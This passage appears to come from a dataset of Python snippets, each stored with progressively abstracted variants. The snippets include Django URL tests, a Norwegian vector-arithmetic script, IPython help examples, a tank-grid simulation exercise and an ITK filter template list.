test_rorder_list_url(self):\n path = reverse('order-list')\n assert resolve(path).view_name == 'order-list'\n", "<import token>\n\n\nclass TestUrls:\n\n def test_order_detail_url(self):\n path = reverse('order-detail', kwargs={'order_id': 15})\n assert resolve(path).view_name == 'order-detail'\n\n def test_home_url(self):\n path = reverse('coderslab-home')\n assert resolve(path).view_name == 'coderslab-home'\n <function token>\n <function token>\n <function token>\n <function token>\n\n def test_rorder_list_url(self):\n path = reverse('order-list')\n assert resolve(path).view_name == 'order-list'\n", "<import token>\n\n\nclass TestUrls:\n\n def test_order_detail_url(self):\n path = reverse('order-detail', kwargs={'order_id': 15})\n assert resolve(path).view_name == 'order-detail'\n\n def test_home_url(self):\n path = reverse('coderslab-home')\n assert resolve(path).view_name == 'coderslab-home'\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n\n\nclass TestUrls:\n <function token>\n\n def test_home_url(self):\n path = reverse('coderslab-home')\n assert resolve(path).view_name == 'coderslab-home'\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n\n\nclass TestUrls:\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]

[ "# Importer moduler\nimport math\n\n# Definer funksjonene\n\n\ndef vektor(x, y, z): # Lager en liste av x,y,z koordinater\n return [x, y, z]\n\n\ndef vecprint(vec): # Printer vektoren på en fin måte\n print(\"vector =\", vec)\n\n\n# Returnerer en vektor som er den forrige vektoren ganget med en skalar\ndef scalar_multiplication(vec, scalar):\n product = []\n for i in range(0, len(vec)):\n product.append(vec[i] * scalar)\n return product\n\n\ndef length(vec, scalar): # Printer lengden av en vektor, lengden av vektoren etter skalarmulitplikasjonen og forholdet mellom de to\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i]**2\n l2sqrd += v2[i]**2\n print(\"Vektorlengde:\", math.sqrt(l1sqrd))\n print(\"Vektorlengde etter skalarmultiplikasjon:\", math.sqrt(l2sqrd))\n print(\"Forholdet mellom de to er:\", math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\ndef scalar_product(vec1, vec2): # Returnerer skalarproduktet av to vektorer\n product = 0\n for i in range(0, len(vec1)):\n product += vec1[i] * vec2[i]\n return product\n\n\n# Definer initialbetingelser\nscalar = float(input(\"Oppgi en valgfri skalar: \"))\nvec1 = vektor(1.5, 3.7, 4.5)\nvec2 = scalar_multiplication(vec1, scalar)\nvec3 = vektor(3.7, -1.5, 0)\n\n\n# Kaller funksjonene\nvecprint(vec2)\nprint()\nlength(vec1, scalar)\nprint()\nprint(scalar_product(vec1, vec3))\n", "import math\n\n\ndef vektor(x, y, z):\n return [x, y, z]\n\n\ndef vecprint(vec):\n print('vector =', vec)\n\n\ndef scalar_multiplication(vec, scalar):\n product = []\n for i in range(0, len(vec)):\n product.append(vec[i] * scalar)\n return product\n\n\ndef length(vec, scalar):\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i] ** 2\n l2sqrd += v2[i] ** 2\n print('Vektorlengde:', math.sqrt(l1sqrd))\n print('Vektorlengde etter skalarmultiplikasjon:', math.sqrt(l2sqrd))\n print('Forholdet mellom de to er:', math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\ndef scalar_product(vec1, vec2):\n product = 0\n for i in range(0, len(vec1)):\n product += vec1[i] * vec2[i]\n return product\n\n\nscalar = float(input('Oppgi en valgfri skalar: '))\nvec1 = vektor(1.5, 3.7, 4.5)\nvec2 = scalar_multiplication(vec1, scalar)\nvec3 = vektor(3.7, -1.5, 0)\nvecprint(vec2)\nprint()\nlength(vec1, scalar)\nprint()\nprint(scalar_product(vec1, vec3))\n", "<import token>\n\n\ndef vektor(x, y, z):\n return [x, y, z]\n\n\ndef vecprint(vec):\n print('vector =', vec)\n\n\ndef scalar_multiplication(vec, scalar):\n product = []\n for i in range(0, len(vec)):\n product.append(vec[i] * scalar)\n return product\n\n\ndef length(vec, scalar):\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i] ** 2\n l2sqrd += v2[i] ** 2\n print('Vektorlengde:', math.sqrt(l1sqrd))\n print('Vektorlengde etter skalarmultiplikasjon:', math.sqrt(l2sqrd))\n print('Forholdet mellom de to er:', math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\ndef scalar_product(vec1, vec2):\n product = 0\n for i in range(0, len(vec1)):\n product += vec1[i] * vec2[i]\n return product\n\n\nscalar = float(input('Oppgi en valgfri skalar: '))\nvec1 = vektor(1.5, 3.7, 4.5)\nvec2 = scalar_multiplication(vec1, scalar)\nvec3 = vektor(3.7, -1.5, 0)\nvecprint(vec2)\nprint()\nlength(vec1, scalar)\nprint()\nprint(scalar_product(vec1, vec3))\n", "<import token>\n\n\ndef vektor(x, y, z):\n return [x, y, z]\n\n\ndef vecprint(vec):\n print('vector =', vec)\n\n\ndef scalar_multiplication(vec, scalar):\n product = []\n for i in range(0, len(vec)):\n product.append(vec[i] * scalar)\n return product\n\n\ndef length(vec, scalar):\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i] ** 2\n l2sqrd += v2[i] ** 2\n print('Vektorlengde:', math.sqrt(l1sqrd))\n print('Vektorlengde etter skalarmultiplikasjon:', math.sqrt(l2sqrd))\n print('Forholdet mellom de to er:', math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\ndef scalar_product(vec1, vec2):\n product = 0\n for i in range(0, len(vec1)):\n product += vec1[i] * vec2[i]\n return product\n\n\n<assignment token>\nvecprint(vec2)\nprint()\nlength(vec1, scalar)\nprint()\nprint(scalar_product(vec1, vec3))\n", "<import token>\n\n\ndef vektor(x, y, z):\n return [x, y, z]\n\n\ndef vecprint(vec):\n print('vector =', vec)\n\n\ndef scalar_multiplication(vec, scalar):\n product = []\n for i in range(0, len(vec)):\n product.append(vec[i] * scalar)\n return product\n\n\ndef length(vec, scalar):\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i] ** 2\n l2sqrd += v2[i] ** 2\n print('Vektorlengde:', math.sqrt(l1sqrd))\n print('Vektorlengde etter skalarmultiplikasjon:', math.sqrt(l2sqrd))\n print('Forholdet mellom de to er:', math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\ndef scalar_product(vec1, vec2):\n product = 0\n for i in range(0, len(vec1)):\n product += vec1[i] * vec2[i]\n return product\n\n\n<assignment token>\n<code token>\n", "<import token>\n\n\ndef vektor(x, y, z):\n return [x, y, z]\n\n\n<function token>\n\n\ndef scalar_multiplication(vec, scalar):\n product = []\n for i in range(0, len(vec)):\n product.append(vec[i] * scalar)\n return product\n\n\ndef length(vec, scalar):\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i] ** 2\n l2sqrd += v2[i] ** 2\n print('Vektorlengde:', math.sqrt(l1sqrd))\n print('Vektorlengde etter skalarmultiplikasjon:', math.sqrt(l2sqrd))\n print('Forholdet mellom de to er:', math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\ndef scalar_product(vec1, vec2):\n product = 0\n for i in range(0, len(vec1)):\n product += vec1[i] * vec2[i]\n return product\n\n\n<assignment token>\n<code token>\n", "<import token>\n\n\ndef vektor(x, y, z):\n return [x, y, z]\n\n\n<function token>\n<function token>\n\n\ndef length(vec, scalar):\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i] ** 2\n l2sqrd += v2[i] ** 2\n print('Vektorlengde:', math.sqrt(l1sqrd))\n print('Vektorlengde etter skalarmultiplikasjon:', math.sqrt(l2sqrd))\n print('Forholdet mellom de to er:', math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\ndef scalar_product(vec1, vec2):\n product = 0\n for i in range(0, len(vec1)):\n product += vec1[i] * vec2[i]\n return product\n\n\n<assignment token>\n<code token>\n", "<import token>\n\n\ndef vektor(x, y, z):\n return [x, y, z]\n\n\n<function token>\n<function token>\n\n\ndef length(vec, scalar):\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i] ** 2\n l2sqrd += v2[i] ** 2\n print('Vektorlengde:', math.sqrt(l1sqrd))\n print('Vektorlengde etter skalarmultiplikasjon:', math.sqrt(l2sqrd))\n print('Forholdet mellom de to er:', math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef length(vec, scalar):\n v2 = scalar_multiplication(vec, scalar)\n l1sqrd = 0\n l2sqrd = 0\n for i in range(0, len(vec)):\n l1sqrd += vec[i] ** 2\n l2sqrd += v2[i] ** 2\n print('Vektorlengde:', math.sqrt(l1sqrd))\n print('Vektorlengde etter skalarmultiplikasjon:', math.sqrt(l2sqrd))\n print('Forholdet mellom de to er:', math.sqrt(l2sqrd) / math.sqrt(l1sqrd))\n return\n\n\n<function token>\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<assignment token>\n<code token>\n" ]

[ "# Access documentation with '?':\n# All Python objects contain reference to their respecive docstrings.\n# The docstring is simply a brief description of what the object/method does.\nlen?\nhelp(len) # standard Python interface\n\nL = [1, 2, 3]\nL.insert? \nL? \n\n# The ? operator also works for functions we define ourselves.\ndef square(a):\n \"\"\"Return the square of a.\"\"\"\n return a ** 2\n\nhelp(square)\nsquare?\n\n# Accessing Source Code with '??':\n# In addition to the docstring, ?? yields source code if available.\nsquare??\n\n# Objects without source code are usually implemented in C or another language.\nlen??\n\n# Tab autocompletion work with wildcard character (*).\n*Warning? # print all objects in namespace ending with Warning.\nstr.*find*? # print all str methods containing 'find' anywhere in name.\n" ]

[ "T = int(input())\n\n\ndef tank_command(s):\n global H, W, tank_dir\n\n if s == 'U':\n if pos[0] > 0:\n if board[pos[0] - 1][pos[1]] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[0] -= 1\n board[pos[0]][pos[1]] = '^'\n tank_dir = '^'\n elif s == 'D':\n if pos[0] < H - 1:\n if board[pos[0] + 1][pos[1]] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[0] += 1\n board[pos[0]][pos[1]] = 'v'\n tank_dir = 'v'\n elif s == 'R':\n if pos[1] < W - 1:\n if board[pos[0]][pos[1]+1] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[1] += 1\n board[pos[0]][pos[1]] = '>'\n tank_dir = '>'\n elif s == 'L':\n if pos[1] > 0:\n if board[pos[0]][pos[1]-1] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[1] -= 1\n board[pos[0]][pos[1]] = '<'\n tank_dir = '<'\n elif s == 'S':\n\n if tank_dir == '>':\n for i in range(pos[1] + 1, W):\n if board[pos[0]][i] == '#':\n break\n elif board[pos[0]][i] == '*':\n board[pos[0]][i] = '.'\n break\n elif tank_dir == '<':\n for i in range(pos[1] - 1, -1, -1):\n if board[pos[0]][i] == '#':\n break\n elif board[pos[0]][i] == '*':\n board[pos[0]][i] = '.'\n break\n elif tank_dir == '^':\n for i in range(pos[0] - 1, -1, -1):\n if board[i][pos[1]] == '#':\n break\n elif board[i][pos[1]] == '*':\n board[i][pos[1]] = '.'\n break\n elif tank_dir == 'v':\n for i in range(pos[0] + 1, H):\n if board[i][pos[1]] == '#':\n break\n elif board[i][pos[1]] == '*':\n board[i][pos[1]] = '.'\n break\n\n\ndata = ''\nfor tc in range(1, T + 1):\n H, W = map(int, input().split())\n\n board = []\n for i in range(H):\n board.append(list(input()))\n\n tank_dir = ''\n for i in range(W):\n for j in range(H):\n if board[j][i] in '><^v':\n tank_dir = board[j][i]\n pos = [j, i]\n break\n if tank_dir:\n break\n\n len_coms = int(input())\n coms = input()\n\n for com in coms:\n tank_command(com)\n\n ans = []\n for line in board:\n tmp = ''.join(line)\n ans.append(tmp)\n\n print(f'#{tc}', end=' ')\n for each in ans:\n print(each)\n", "T = int(input())\n\n\ndef tank_command(s):\n global H, W, tank_dir\n if s == 'U':\n if pos[0] > 0:\n if board[pos[0] - 1][pos[1]] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[0] -= 1\n board[pos[0]][pos[1]] = '^'\n tank_dir = '^'\n elif s == 'D':\n if pos[0] < H - 1:\n if board[pos[0] + 1][pos[1]] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[0] += 1\n board[pos[0]][pos[1]] = 'v'\n tank_dir = 'v'\n elif s == 'R':\n if pos[1] < W - 1:\n if board[pos[0]][pos[1] + 1] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[1] += 1\n board[pos[0]][pos[1]] = '>'\n tank_dir = '>'\n elif s == 'L':\n if pos[1] > 0:\n if board[pos[0]][pos[1] - 1] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[1] -= 1\n board[pos[0]][pos[1]] = '<'\n tank_dir = '<'\n elif s == 'S':\n if tank_dir == '>':\n for i in range(pos[1] + 1, W):\n if board[pos[0]][i] == '#':\n break\n elif board[pos[0]][i] == '*':\n board[pos[0]][i] = '.'\n break\n elif tank_dir == '<':\n for i in range(pos[1] - 1, -1, -1):\n if board[pos[0]][i] == '#':\n break\n elif board[pos[0]][i] == '*':\n board[pos[0]][i] = '.'\n break\n elif tank_dir == '^':\n for i in range(pos[0] - 1, -1, -1):\n if board[i][pos[1]] == '#':\n break\n elif board[i][pos[1]] == '*':\n board[i][pos[1]] = '.'\n break\n elif tank_dir == 'v':\n for i in range(pos[0] + 1, H):\n if board[i][pos[1]] == '#':\n break\n elif board[i][pos[1]] == '*':\n board[i][pos[1]] = '.'\n break\n\n\ndata = ''\nfor tc in range(1, T + 1):\n H, W = map(int, input().split())\n board = []\n for i in range(H):\n board.append(list(input()))\n tank_dir = ''\n for i in range(W):\n for j in range(H):\n if board[j][i] in '><^v':\n tank_dir = board[j][i]\n pos = [j, i]\n break\n if tank_dir:\n break\n len_coms = int(input())\n coms = input()\n for com in coms:\n tank_command(com)\n ans = []\n for line in board:\n tmp = ''.join(line)\n ans.append(tmp)\n print(f'#{tc}', end=' ')\n for each in ans:\n print(each)\n", "<assignment token>\n\n\ndef tank_command(s):\n global H, W, tank_dir\n if s == 'U':\n if pos[0] > 0:\n if board[pos[0] - 1][pos[1]] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[0] -= 1\n board[pos[0]][pos[1]] = '^'\n tank_dir = '^'\n elif s == 'D':\n if pos[0] < H - 1:\n if board[pos[0] + 1][pos[1]] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[0] += 1\n board[pos[0]][pos[1]] = 'v'\n tank_dir = 'v'\n elif s == 'R':\n if pos[1] < W - 1:\n if board[pos[0]][pos[1] + 1] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[1] += 1\n board[pos[0]][pos[1]] = '>'\n tank_dir = '>'\n elif s == 'L':\n if pos[1] > 0:\n if board[pos[0]][pos[1] - 1] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[1] -= 1\n board[pos[0]][pos[1]] = '<'\n tank_dir = '<'\n elif s == 'S':\n if tank_dir == '>':\n for i in range(pos[1] + 1, W):\n if board[pos[0]][i] == '#':\n break\n elif board[pos[0]][i] == '*':\n board[pos[0]][i] = '.'\n break\n elif tank_dir == '<':\n for i in range(pos[1] - 1, -1, -1):\n if board[pos[0]][i] == '#':\n break\n elif board[pos[0]][i] == '*':\n board[pos[0]][i] = '.'\n break\n elif tank_dir == '^':\n for i in range(pos[0] - 1, -1, -1):\n if board[i][pos[1]] == '#':\n break\n elif board[i][pos[1]] == '*':\n board[i][pos[1]] = '.'\n break\n elif tank_dir == 'v':\n for i in range(pos[0] + 1, H):\n if board[i][pos[1]] == '#':\n break\n elif board[i][pos[1]] == '*':\n board[i][pos[1]] = '.'\n break\n\n\n<assignment token>\nfor tc in range(1, T + 1):\n H, W = map(int, input().split())\n board = []\n for i in range(H):\n board.append(list(input()))\n tank_dir = ''\n for i in range(W):\n for j in range(H):\n if board[j][i] in '><^v':\n tank_dir = board[j][i]\n pos = [j, i]\n break\n if tank_dir:\n break\n len_coms = int(input())\n coms = input()\n for com in coms:\n tank_command(com)\n ans = []\n for line in board:\n tmp = ''.join(line)\n ans.append(tmp)\n print(f'#{tc}', end=' ')\n for each in ans:\n print(each)\n", "<assignment token>\n\n\ndef tank_command(s):\n global H, W, tank_dir\n if s == 'U':\n if pos[0] > 0:\n if board[pos[0] - 1][pos[1]] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[0] -= 1\n board[pos[0]][pos[1]] = '^'\n tank_dir = '^'\n elif s == 'D':\n if pos[0] < H - 1:\n if board[pos[0] + 1][pos[1]] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[0] += 1\n board[pos[0]][pos[1]] = 'v'\n tank_dir = 'v'\n elif s == 'R':\n if pos[1] < W - 1:\n if board[pos[0]][pos[1] + 1] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[1] += 1\n board[pos[0]][pos[1]] = '>'\n tank_dir = '>'\n elif s == 'L':\n if pos[1] > 0:\n if board[pos[0]][pos[1] - 1] == '.':\n board[pos[0]][pos[1]] = '.'\n pos[1] -= 1\n board[pos[0]][pos[1]] = '<'\n tank_dir = '<'\n elif s == 'S':\n if tank_dir == '>':\n for i in range(pos[1] + 1, W):\n if board[pos[0]][i] == '#':\n break\n elif board[pos[0]][i] == '*':\n board[pos[0]][i] = '.'\n break\n elif tank_dir == '<':\n for i in range(pos[1] - 1, -1, -1):\n if board[pos[0]][i] == '#':\n break\n elif board[pos[0]][i] == '*':\n board[pos[0]][i] = '.'\n break\n elif tank_dir == '^':\n for i in range(pos[0] - 1, -1, -1):\n if board[i][pos[1]] == '#':\n break\n elif board[i][pos[1]] == '*':\n board[i][pos[1]] = '.'\n break\n elif tank_dir == 'v':\n for i in range(pos[0] + 1, H):\n if board[i][pos[1]] == '#':\n break\n elif board[i][pos[1]] == '*':\n board[i][pos[1]] = '.'\n break\n\n\n<assignment token>\n<code token>\n", "<assignment token>\n<function token>\n<assignment token>\n<code token>\n" ]

[ "depends = ('ITKPyBase', 'ITKRegistrationCommon', 'ITKFiniteDifference', )\ntemplates = (\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterISS2ISS2IVF22', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterISS3ISS3IVF23', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterISS2ISS2IVF32', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterISS3ISS3IVF33', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterISS2ISS2IVF42', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterISS3ISS3IVF43', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUC2IUC2IVF22', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUC3IUC3IVF23', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUC2IUC2IVF32', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUC3IUC3IVF33', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUC2IUC2IVF42', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUC3IUC3IVF43', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUS2IUS2IVF22', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUS3IUS3IVF23', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUS2IUS2IVF32', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUS3IUS3IVF33', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUS2IUS2IVF42', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIUS3IUS3IVF43', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIF2IF2IVF22', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIF3IF3IVF23', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIF2IF2IVF32', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIF3IF3IVF33', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIF2IF2IVF42', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('DemonsRegistrationFilter', 'itk::DemonsRegistrationFilter', 'itkDemonsRegistrationFilterIF3IF3IVF43', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterISS2ISS2IVF22', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterISS3ISS3IVF23', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterISS2ISS2IVF32', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterISS3ISS3IVF33', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterISS2ISS2IVF42', True, 'itk::Image< signed short,2 >, itk::Image< signed short,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterISS3ISS3IVF43', True, 'itk::Image< signed short,3 >, itk::Image< signed short,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUC2IUC2IVF22', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUC3IUC3IVF23', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUC2IUC2IVF32', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUC3IUC3IVF33', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUC2IUC2IVF42', True, 'itk::Image< unsigned char,2 >, itk::Image< unsigned char,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUC3IUC3IVF43', True, 'itk::Image< unsigned char,3 >, itk::Image< unsigned char,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUS2IUS2IVF22', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUS3IUS3IVF23', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUS2IUS2IVF32', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,3 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUS3IUS3IVF33', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,3 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUS2IUS2IVF42', True, 'itk::Image< unsigned short,2 >, itk::Image< unsigned short,2 >, itk::Image< itk::Vector< float,4 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIUS3IUS3IVF43', True, 'itk::Image< unsigned short,3 >, itk::Image< unsigned short,3 >, itk::Image< itk::Vector< float,4 >,3 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIF2IF2IVF22', True, 'itk::Image< float,2 >, itk::Image< float,2 >, itk::Image< itk::Vector< float,2 >,2 >'),\n ('LevelSetMotionRegistrationFilter', 'itk::LevelSetMotionRegistrationFilter', 'itkLevelSetMotionRegistrationFilterIF3IF3IVF23', True, 'itk::Image< float,3 >, itk::Image< float,3 >, itk::Image< itk::Vector< float,2 >,3 >'),\n 